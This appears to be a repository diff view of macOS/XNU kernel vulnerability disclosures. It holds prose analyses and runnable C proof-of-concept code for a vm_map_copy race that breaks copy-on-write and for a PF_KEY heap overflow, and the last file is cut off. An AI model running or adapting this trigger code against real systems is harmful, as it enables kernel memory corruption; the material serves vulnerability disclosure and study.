kern_return_t err;
/* connect to the com.apple.iohideventsystem service */
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
printf("failed to lookup service\n");
exit(EXIT_FAILURE);
}
printf("got service port: 0x%x\n", service_port);
/* need a dictionary */
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionaryAddValue(dict, CFSTR("key"), CFSTR("value"));
mach_vm_address_t out_ptr = 0;
uint32_t size = _IOHIDSerialize(dict, &out_ptr);
CFRelease(dict);
uint64_t id_out = 0;
err = io_hideventsystem_create_virtual_service(service_port, (void*)out_ptr, size, &id_out);
return 0;
}

View file

@ -0,0 +1,704 @@
/*
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)
The function contains a while loop which walks through each of the vm_map_entry structures which make up the
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.
Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:
// Attempt non-blocking copy-on-write optimizations.
if (src_destroy &&
(src_object == VM_OBJECT_NULL ||
(src_object->internal &&
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
!map_share))) {
/*
* If we are destroying the source, and the object
* is internal, we can move the object reference
* from the source to the copy. The copy is
* copy-on-write only if the source is.
* We make another reference to the object, because
* destroying the source entry will deallocate it.
vm_object_reference(src_object);
/*
* Copy is always unwired. vm_map_copy_entry
* set its wired count to zero.
goto CopySuccessful;
This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
"move" the entry to the target map.
The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
is done:
} // end while(true)
/*
* If the source should be destroyed, do it now, since the
* copy was successful.
if (src_destroy) {
(void) vm_map_delete(
src_map,
vm_map_trunc_page(src_addr,
VM_MAP_PAGE_MASK(src_map)),
src_end,
((src_map == kernel_map) ?
VM_MAP_REMOVE_KUNWIRE :
VM_MAP_NO_FLAGS),
VM_MAP_NULL);
The cause of the lack of atomicity is two-fold:
Firstly: in the while loop the vm_map's lock gets dropped and retaken:
/*
* Create a new address map entry to hold the result.
* Fill in the fields from the appropriate source entries.
* We must unlock the source map to do this if we need
* to allocate a map entry.
if (new_entry == VM_MAP_ENTRY_NULL) {
version.main_timestamp = src_map->timestamp;
vm_map_unlock(src_map);
new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);
vm_map_lock(src_map);
if ((version.main_timestamp + 1) != src_map->timestamp) {
if (!vm_map_lookup_entry(src_map, src_start,
&tmp_entry)) {
RETURN(KERN_INVALID_ADDRESS);
}
if (!tmp_entry->is_sub_map)
vm_map_clip_start(src_map, tmp_entry, src_start);
continue; /* restart w/ new tmp_entry
}
}
Here, each time they allocate a new entry structure they have to drop and retake the lock.
Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:
The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.
The problem is that just checking whether there is still an entry covering the address we're currently trying to
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
of moving.
Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
happens; a proper fix for such issues will require some refactoring.
This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.
Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:
_ _ _ _ _ _ _ _ _ _ _ _
<................../..> \
< { > }
< +---+---+---+---{--->---+---+---+---+---+ }
< | A | O | A | O { A > O | A | O | A | O | }
< +---+---+---+---{--->---+---+---+---+---+ }
<.................{...> }
^ \_ _ _ _ _ _ _ _ _ _ _ _/
| ^
OOL desc for msg_a |
OOL desc for msg_b
The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.
If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
to the underlying page while the other process is reading it, without causing COW copies.
This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.
PoC tested on MacOS 10.14.1 (18B75)
*/
// @i41nbeer
// XNU vm_map_copy optimization which requires atomicity isn't atomic
#if 0
vm_map_copyin_internal in vm_map.c converts a region of a vm_map into "copied in" form, constructing a vm_map_copy
structure representing the copied memory which can then be mapped into another vm_map (or the same one.)
The function contains a while loop which walks through each of the vm_map_entry structures which make up the
region to be copied and tries to append a "copy" of each in turn to a vm_map_copy structure.
Under certain circumstances the copy operation can be optimized, here's a code snippet describing one such optimization:
/*
* Attempt non-blocking copy-on-write optimizations.
*/
if (src_destroy &&
(src_object == VM_OBJECT_NULL ||
(src_object->internal &&
src_object->copy_strategy == MEMORY_OBJECT_COPY_SYMMETRIC &&
!map_share))) {
/*
* If we are destroying the source, and the object
* is internal, we can move the object reference
* from the source to the copy. The copy is
* copy-on-write only if the source is.
* We make another reference to the object, because
* destroying the source entry will deallocate it.
*/
vm_object_reference(src_object);
/*
* Copy is always unwired. vm_map_copy_entry
* set its wired count to zero.
*/
goto CopySuccessful;
This optimization will apply if the vm_map_entry represents anonymous memory and the semantics of the copy
will cause that memory to be deallocated from the source map. In this case, as the comment describes, we can just
"move" the entry to the target map.
The issue is that this move is not performed atomically - the vm_map_entry which we want to move will only be removed
from the source map after we have copied all the entries representing the region we want to copy and the while(true) loop
is done:
} // end while(true)
/*
* If the source should be destroyed, do it now, since the
* copy was successful.
*/
if (src_destroy) {
(void) vm_map_delete(
src_map,
vm_map_trunc_page(src_addr,
VM_MAP_PAGE_MASK(src_map)),
src_end,
((src_map == kernel_map) ?
VM_MAP_REMOVE_KUNWIRE :
VM_MAP_NO_FLAGS),
VM_MAP_NULL);
The cause of the lack of atomicity is two-fold:
Firstly: in the while loop the vm_map's lock gets dropped and retaken:
/*
* Create a new address map entry to hold the result.
* Fill in the fields from the appropriate source entries.
* We must unlock the source map to do this if we need
* to allocate a map entry.
*/
if (new_entry == VM_MAP_ENTRY_NULL) {
version.main_timestamp = src_map->timestamp;
vm_map_unlock(src_map);
new_entry = vm_map_copy_entry_create(copy, !copy->cpy_hdr.entries_pageable);
vm_map_lock(src_map);
if ((version.main_timestamp + 1) != src_map->timestamp) {
if (!vm_map_lookup_entry(src_map, src_start,
&tmp_entry)) {
RETURN(KERN_INVALID_ADDRESS);
}
if (!tmp_entry->is_sub_map)
vm_map_clip_start(src_map, tmp_entry, src_start);
continue; /* restart w/ new tmp_entry */
}
}
Here, each time they allocate a new entry structure they have to drop and retake the lock.
Secondly: the check and bailout there aren't sufficient to ensure atomicity of the "entry move" optimization:
The check "if ((version.main_timestamp + 1) != src_map->timestamp) {" tries to detect whether another thread
took the lock while we dropped it; if it did then they try to bailout and lookup the entry again.
The problem is that just checking whether there is still an entry covering the address we're currently trying to
copy isn't sufficient, since the continue statement just goes back up to the start of the while loop. It doesn't
invalidate all the entries we've already appended to the vm_map_copy, even though while we had dropped the lock
another thread could have come in and also started an "optimized entry move" for the same entry that we're in the process
of moving.
Note that this lock dropping and reacquiring pattern seems quite pervasive; this isn't the only place in the code where this
happens; a proper fix for such issues will require some refactoring.
This PoC demonstrates the issue by sending two mach messages in parallel, one to ourselves and one to our parent process.
Those messages contain out-of-line regions built up of alternating memory object mappings and anonymous memory:
_ _ _ _ _ _ _ _ _ _ _ _
<................../..> \
< { > }
< +---+---+---+---{--->---+---+---+---+---+ }
< | A | O | A | O { A > O | A | O | A | O | }
< +---+---+---+---{--->---+---+---+---+---+ }
<.................{...> }
^ \_ _ _ _ _ _ _ _ _ _ _ _/
| ^
OOL desc for msg_a |
OOL desc for msg_b
The two messages overlap by one anonymous memory entry, appearing at the end of msg_a and the start of msg_b. The locking issue
means that if we win the race this entry will have the move optimization applied twice, leading to it appearing in two vm_map_copys.
If we then send one of those copies to another process and receive one ourselves we will retain the ability to write
to the underlying page while the other process is reading it, without causing COW copies.
This violates the semantics of mach message OOL memory, and leads to TOCTOU issues which can lead to memory corruption.
PoC tested on MacOS 10.14.1 (18B75)
#endif
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>
#define MACH_ERR(str, err) do { \
if (err != KERN_SUCCESS) { \
mach_error("[-]" str "\n", err); \
exit(EXIT_FAILURE); \
} \
} while(0)
#define FAIL(str) do { \
printf("[-] " str "\n"); \
exit(EXIT_FAILURE); \
} while (0)
#define LOG(str) do { \
printf("[+] " str"\n"); \
} while (0)
/***************
* port dancer *
***************/
// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html
// mach message for sending a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
} port_msg_send_t;
// mach message for receiving a port right
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port;
mach_msg_trailer_t trailer;
} port_msg_rcv_t;
typedef struct {
mach_msg_header_t header;
} simple_msg_send_t;
typedef struct {
mach_msg_header_t header;
mach_msg_trailer_t trailer;
} simple_msg_rcv_t;
#define STOLEN_SPECIAL_PORT TASK_BOOTSTRAP_PORT
// a copy in the parent of the stolen special port such that it can be restored
mach_port_t saved_special_port = MACH_PORT_NULL;
// the shared port right in the parent
mach_port_t shared_port_parent = MACH_PORT_NULL;
void setup_shared_port() {
kern_return_t err;
// get a send right to the port we're going to overwrite so that we can both
// restore it for ourselves and send it to our child
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &saved_special_port);
MACH_ERR("saving original special port value", err);
// allocate the shared port we want our child to have a send right to
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&shared_port_parent);
MACH_ERR("allocating shared port", err);
// insert the send right
err = mach_port_insert_right(mach_task_self(),
shared_port_parent,
shared_port_parent,
MACH_MSG_TYPE_MAKE_SEND);
MACH_ERR("inserting MAKE_SEND into shared port", err);
// stash the port in the STOLEN_SPECIAL_PORT slot such that the send right survives the fork
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, shared_port_parent);
MACH_ERR("setting special port", err);
}
mach_port_t recover_shared_port_child() {
kern_return_t err;
// grab the shared port which our parent stashed somewhere in the special ports
mach_port_t shared_port_child = MACH_PORT_NULL;
err = task_get_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, &shared_port_child);
MACH_ERR("child getting stashed port", err);
LOG("child got stashed port");
// say hello to our parent and send a reply port so it can send us back the special port to restore
// allocate a reply port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
MACH_ERR("child allocating reply port", err);
// send the reply port in a hello message
simple_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = shared_port_child;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
err = mach_msg_send(&msg.header);
MACH_ERR("child sending task port message", err);
LOG("child sent hello message to parent over shared port");
// wait for a message on the reply port containing the stolen port to restore
port_msg_rcv_t stolen_port_msg = {0};
err = mach_msg(&stolen_port_msg.header, MACH_RCV_MSG, 0, sizeof(stolen_port_msg), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
MACH_ERR("child receiving stolen port\n", err);
// extract the port right from the message
mach_port_t stolen_port_to_restore = stolen_port_msg.port.name;
if (stolen_port_to_restore == MACH_PORT_NULL) {
FAIL("child received invalid stolen port to restore");
}
// restore the special port for the child
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, stolen_port_to_restore);
MACH_ERR("child restoring special port", err);
LOG("child restored stolen port");
return shared_port_child;
}
mach_port_t recover_shared_port_parent() {
kern_return_t err;
// restore the special port for ourselves
err = task_set_special_port(mach_task_self(), STOLEN_SPECIAL_PORT, saved_special_port);
MACH_ERR("parent restoring special port", err);
// wait for a message from the child on the shared port
simple_msg_rcv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
shared_port_parent,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
MACH_ERR("parent receiving child hello message", err);
LOG("parent received hello message from child");
// send the special port to our child over the hello message's reply port
port_msg_send_t special_port_msg = {0};
special_port_msg.header.msgh_size = sizeof(special_port_msg);
special_port_msg.header.msgh_local_port = MACH_PORT_NULL;
special_port_msg.header.msgh_remote_port = msg.header.msgh_remote_port;
special_port_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits), 0) | MACH_MSGH_BITS_COMPLEX;
special_port_msg.body.msgh_descriptor_count = 1;
special_port_msg.port.name = saved_special_port;
special_port_msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
special_port_msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&special_port_msg.header);
MACH_ERR("parent sending special port back to child", err);
return shared_port_parent;
}
/*** end of port dancer code ***/
#define UNIT_SIZE 0x8000
struct send_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
};
struct rcv_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
};
volatile int lock_a;
volatile int lock_b;
void* thread_func(void* arg) {
lock_a = 1;
while(lock_b == 0) {;}
kern_return_t err = mach_msg_send((mach_msg_header_t*)arg);
return (void*) err;
}
void do_child(mach_port_t shared_port) {
uint32_t n_pairs = 32;
uint32_t offset = 8;
// allocate a memory object which we can use for the alternating object entries:
memory_object_size_t obj_size = n_pairs * UNIT_SIZE;
printf("allocating 0x%llx byte memory entry for alternating entries\n", obj_size);
void* obj_buf = NULL;
kern_return_t err = mach_vm_allocate(mach_task_self(),
(mach_vm_address_t*)&obj_buf,
obj_size,
VM_FLAGS_ANYWHERE);
memset(obj_buf, 'A', obj_size);
mach_port_t mem_port = MACH_PORT_NULL;
err = mach_make_memory_entry_64(mach_task_self(),
(memory_object_size_t*)&obj_size,
(memory_object_offset_t)obj_buf,
VM_PROT_DEFAULT,
&mem_port,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("failed to make memory entry\n");
return;
}
mach_vm_address_t target_buffer_base = 0x414100000000;
mach_vm_address_t addr = target_buffer_base;
for (uint32_t i = 0; i < n_pairs; i++) {
// first element of the pair is an anonymous page:
err = mach_vm_allocate(mach_task_self(),
&addr,
UNIT_SIZE,
VM_FLAGS_FIXED);
if (err != KERN_SUCCESS) {
printf("mach_vm_allocate with VM_MAP_FIXED failed: %x %s\n", err, mach_error_string(err));
return;
}
memset((void*)addr, 'B', UNIT_SIZE);
addr += UNIT_SIZE;
// second element is a page from the memory entry
err = mach_vm_map(mach_task_self(),
&addr, // &address
(mach_vm_size_t)UNIT_SIZE, // size
0xfff, // mask
VM_FLAGS_FIXED, // flags
mem_port, // object
(mach_vm_offset_t)(i*UNIT_SIZE), // offset
0, // copy
3, // cur_prot
3, // max_prot
2);// inheritance
if (err != KERN_SUCCESS) {
printf("failed to mach_vm_map a page from the memory object: %x %s\n", err, mach_error_string(err));
return;
}
addr += UNIT_SIZE;
}
// split this thing in to two overlapping OOL regions:
// offset is the n'th anonymous region which should be at the end of the OOL region of msg_a
// and also at the start of the OOL region of msg_b
// we'll send a to ourselves, and b to the other process
uint32_t msg_a_size = UNIT_SIZE + (2 * offset * UNIT_SIZE);
uint8_t* msg_a_buf = (void*)target_buffer_base;
uint8_t* msg_b_buf = (uint8_t*)(target_buffer_base + msg_a_size - UNIT_SIZE);
uint32_t msg_b_size = (n_pairs * 2 * UNIT_SIZE) - msg_a_size + UNIT_SIZE;
printf("msg_a %p %x\n", msg_a_buf, msg_a_size);
printf("msg_b %p %x\n", msg_b_buf, msg_b_size);
mach_port_t msg_a_port = MACH_PORT_NULL;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &msg_a_port);
if (err != KERN_SUCCESS) {
printf("mach_port_allocate failed: %x %s\n", err, mach_error_string(err));
return;
}
struct send_msg msg_a = {};
struct send_msg msg_b = {};
// message a
msg_a.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
msg_a.hdr.msgh_size = sizeof(struct send_msg);
msg_a.hdr.msgh_remote_port = msg_a_port;
msg_a.hdr.msgh_local_port = MACH_PORT_NULL;
msg_a.hdr.msgh_voucher_port = MACH_PORT_NULL;
msg_a.hdr.msgh_id = 0x41424344;
msg_a.body.msgh_descriptor_count = 1;
msg_a.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg_a.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg_a.desc.deallocate = 1;
msg_a.desc.address = msg_a_buf;
msg_a.desc.size = msg_a_size;
// message b
msg_b.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, 0) | MACH_MSGH_BITS_COMPLEX;
msg_b.hdr.msgh_size = sizeof(struct send_msg);
msg_b.hdr.msgh_remote_port = shared_port;
msg_b.hdr.msgh_local_port = MACH_PORT_NULL;
msg_b.hdr.msgh_voucher_port = MACH_PORT_NULL;
msg_b.hdr.msgh_id = 0x41424344;
msg_b.body.msgh_descriptor_count = 1;
msg_b.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg_b.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg_b.desc.deallocate = 1;
msg_b.desc.address = msg_b_buf;
msg_b.desc.size = msg_b_size;
// try sending them in parallel;
// need a thread we can try to sync with:
lock_a = 0;
lock_b = 0;
pthread_t th;
pthread_create(&th, NULL, thread_func, (void*)&msg_a);
while(lock_a == 0){;}
lock_b = 1;
kern_return_t msg_b_err = mach_msg_send(&msg_b.hdr);
void* remote_retval = 0;
pthread_join(th, &remote_retval);
kern_return_t msg_a_err = (kern_return_t)remote_retval;
printf("msg_a send: %x %s\n", msg_a_err, mach_error_string(msg_a_err));
printf("msg_b send: %x %s\n", msg_b_err, mach_error_string(msg_b_err));
struct rcv_msg rcv_msg_a = {0};
if (msg_a_err == KERN_SUCCESS) {
rcv_msg_a.hdr.msgh_local_port = msg_a_port;
rcv_msg_a.hdr.msgh_size = sizeof(struct rcv_msg);
err = mach_msg_receive(&rcv_msg_a.hdr);
if (err != KERN_SUCCESS) {
printf("mach_msg_receive failed for msg_a_port: %x %s\n", err, mach_error_string(err));
}
}
printf("dual send success!\n");
char* rcv_a_addr = rcv_msg_a.desc.address;
uint32_t rcv_a_size = rcv_msg_a.desc.size;
printf("a: %p %x\n", rcv_a_addr, rcv_a_size);
volatile char* rcv_a_char_addr = rcv_a_addr + (rcv_a_size - 1);
printf("rcv_a_char_addr: %p\n", rcv_a_char_addr);
while (1) {
*rcv_a_char_addr = 'X';
*rcv_a_char_addr = 'O';
}
}
void do_parent(mach_port_t shared_port) {
kern_return_t err;
// wait for our child to send us an OOL message
struct rcv_msg msg = {0};
msg.hdr.msgh_local_port = shared_port;
msg.hdr.msgh_size = sizeof(msg);
err = mach_msg_receive(&msg.hdr);
MACH_ERR("parent receiving child OOL message", err);
char* rcv_b_addr = msg.desc.address;
volatile char* rcv_b_char_addr = rcv_b_addr + (UNIT_SIZE-1);
printf("rcv_a_char_addr: %p\n", rcv_b_char_addr);
while(1) {
printf("parent sees in OOL desc: %c\n", *rcv_b_char_addr);
usleep(100000);
}
}
int main(int argc, char** argv) {
setup_shared_port();
pid_t child_pid = fork();
if (child_pid == -1) {
FAIL("forking");
}
if (child_pid == 0) {
mach_port_t shared_port_child = recover_shared_port_child();
do_child(shared_port_child);
} else {
mach_port_t shared_port_parent = recover_shared_port_parent();
do_parent(shared_port_parent);
}
kill(child_pid, 9);
int status;
wait(&status);
return 0;
}

View file

@ -0,0 +1,351 @@
/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
key_getsastat handles SADB_GETSASTAT messages:
It allocates a buffer based on the number of SAs there currently are:
bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);
It the retrieves the list of SPIs we are querying for, and the length of that list:
sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];
arg_count = sa_stats_arg->sadb_sastat_list_len;
// exit early if there are no requested SAs
if (arg_count == 0) {
printf("%s: No SAs requested.\n", __FUNCTION__);
error = ENOENT;
goto end;
}
res_count = 0;
It passes those, and the allocated buffer, to key_getsastatbyspi:
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
arg_count,
sa_stats_sav,
&res_count)) {
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
Looking at key_getsastatbyspi:
static int
key_getsastatbyspi (struct sastat *stat_arg,
u_int32_t max_stat_arg,
struct sastat *stat_res,
u_int32_t *max_stat_res)
{
int cur, found = 0;
if (stat_arg == NULL ||
stat_res == NULL ||
max_stat_res == NULL) {
return -1;
}
for (cur = 0; cur < max_stat_arg; cur++) {
if (key_getsastatbyspi_one(stat_arg[cur].spi,
&stat_res[found]) == 0) {
found++;
}
}
*max_stat_res = found;
if (found) {
return 0;
}
return -1;
}
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.
Tested on MacOS 10.14.2 (18C54)
*/
// @i41nbeer
#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.
key_getsastat handles SADB_GETSASTAT messages:
It allocates a buffer based on the number of SAs there currently are:
bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);
It the retrieves the list of SPIs we are querying for, and the length of that list:
sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];
arg_count = sa_stats_arg->sadb_sastat_list_len;
// exit early if there are no requested SAs
if (arg_count == 0) {
printf("%s: No SAs requested.\n", __FUNCTION__);
error = ENOENT;
goto end;
}
res_count = 0;
It passes those, and the allocated buffer, to key_getsastatbyspi:
if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
arg_count,
sa_stats_sav,
&res_count)) {
The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...
Looking at key_getsastatbyspi:
static int
key_getsastatbyspi (struct sastat *stat_arg,
u_int32_t max_stat_arg,
struct sastat *stat_res,
u_int32_t *max_stat_res)
{
int cur, found = 0;
if (stat_arg == NULL ||
stat_res == NULL ||
max_stat_res == NULL) {
return -1;
}
for (cur = 0; cur < max_stat_arg; cur++) {
if (key_getsastatbyspi_one(stat_arg[cur].spi,
&stat_res[found]) == 0) {
found++;
}
}
*max_stat_res = found;
if (found) {
return 0;
}
return -1;
}
Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.
Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.
Tested on MacOS 10.14.2 (18C54)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>
#if 0
struct sadb_msg {
u_int8_t sadb_msg_version;
u_int8_t sadb_msg_type;
u_int8_t sadb_msg_errno;
u_int8_t sadb_msg_satype;
u_int16_t sadb_msg_len; // in 8-byte units
u_int16_t sadb_msg_reserved;
u_int32_t sadb_msg_seq;
u_int32_t sadb_msg_pid;
};
// extenstion header
struct sadb_ext {
u_int16_t sadb_ext_len; // 8-byte units
u_int16_t sadb_ext_type;
};
// SADB_EXT_SA
struct sadb_sa {
u_int16_t sadb_sa_len;
u_int16_t sadb_sa_exttype;
u_int32_t sadb_sa_spi;
u_int8_t sadb_sa_replay;
u_int8_t sadb_sa_state;
u_int8_t sadb_sa_auth;
u_int8_t sadb_sa_encrypt;
u_int32_t sadb_sa_flags;
};
// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?
struct sadb_address {
u_int16_t sadb_address_len;
u_int16_t sadb_address_exttype;
u_int8_t sadb_address_proto;
u_int8_t sadb_address_prefixlen;
u_int16_t sadb_address_reserved;
};
// SADB_EXT_KEY_AUTH header
struct sadb_key {
u_int16_t sadb_key_len;
u_int16_t sadb_key_exttype;
u_int16_t sadb_key_bits; // >> 3 -> bzero
u_int16_t sadb_key_reserved;
};
// SADB_EXT_SASTAT
struct sadb_sastat {
u_int16_t sadb_sastat_len;
u_int16_t sadb_sastat_exttype;
u_int32_t sadb_sastat_dir;
u_int32_t sadb_sastat_reserved;
u_int32_t sadb_sastat_list_len;
/* list of struct sastat comes after */
} __attribute__ ((aligned(8)));
struct sastat {
u_int32_t spi; /* SPI Value, network byte order */
u_int32_t created; /* for lifetime */
struct sadb_lifetime lft_c; /* CURRENT lifetime. */
}; // no need to align
#endif
struct my_msg {
struct sadb_msg hdr;
// required options
struct sadb_sa sa; // SADB_EXT_SA
struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
struct sockaddr_in sockaddr_src; // 0x10 bytes
struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
struct sockaddr_in sockaddr_dst; // 0x10 bytes
struct sadb_key key;
char key_material[128/8];
};
#define N_LIST_ENTRIES 32
struct stat_msg {
struct sadb_msg hdr;
struct sadb_session_id sid;
struct sadb_sastat stat;
struct sastat list[N_LIST_ENTRIES];
};
int main() {
// get a PF_KEY socket:
int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
if (fd == -1) {
perror("failed to get PF_KEY socket, got privs?");
return 0;
}
printf("got PF_KEY socket: %d\n", fd);
struct my_msg* msg = malloc(sizeof(struct my_msg));
memset(msg, 0, sizeof(struct my_msg));
msg->hdr.sadb_msg_version = PF_KEY_V2;
msg->hdr.sadb_msg_type = SADB_ADD;
msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
msg->hdr.sadb_msg_pid = getpid();
// SADB_EXT_SA
msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
msg->sa.sadb_sa_exttype = SADB_EXT_SA;
// we need to fill in the fields correctly as we need at least one valid key
msg->sa.sadb_sa_spi = 0x41414141;
msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
// -> 128 bit key size
// SADB_EXT_ADDRESS_SRC
msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;
msg->sockaddr_src.sin_len = 0x10;
msg->sockaddr_src.sin_family = AF_INET;
msg->sockaddr_src.sin_port = 4141;
inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);
// SADB_EXT_ADDRESS_DST
msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;
msg->sockaddr_dst.sin_len = 0x10;
msg->sockaddr_dst.sin_family = AF_INET;
msg->sockaddr_dst.sin_port = 4242;
inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);
msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
msg->key.sadb_key_bits = 128;
size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
printf("trying to write %zd bytes\n", amount_to_send);
ssize_t written = write(fd, msg, amount_to_send);
printf("written: %zd\n", written);
struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
memset(smsg, 0, sizeof(struct stat_msg));
smsg->hdr.sadb_msg_version = PF_KEY_V2;
smsg->hdr.sadb_msg_type = SADB_GETSASTAT;
smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
smsg->hdr.sadb_msg_pid = getpid();
// SADB_EXT_SESSION_ID
smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;
// SADB_EXT_SASTAT
smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;
smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;
for (int i = 0; i < N_LIST_ENTRIES; i++) {
smsg->list[i].spi = 0x41414141;
}
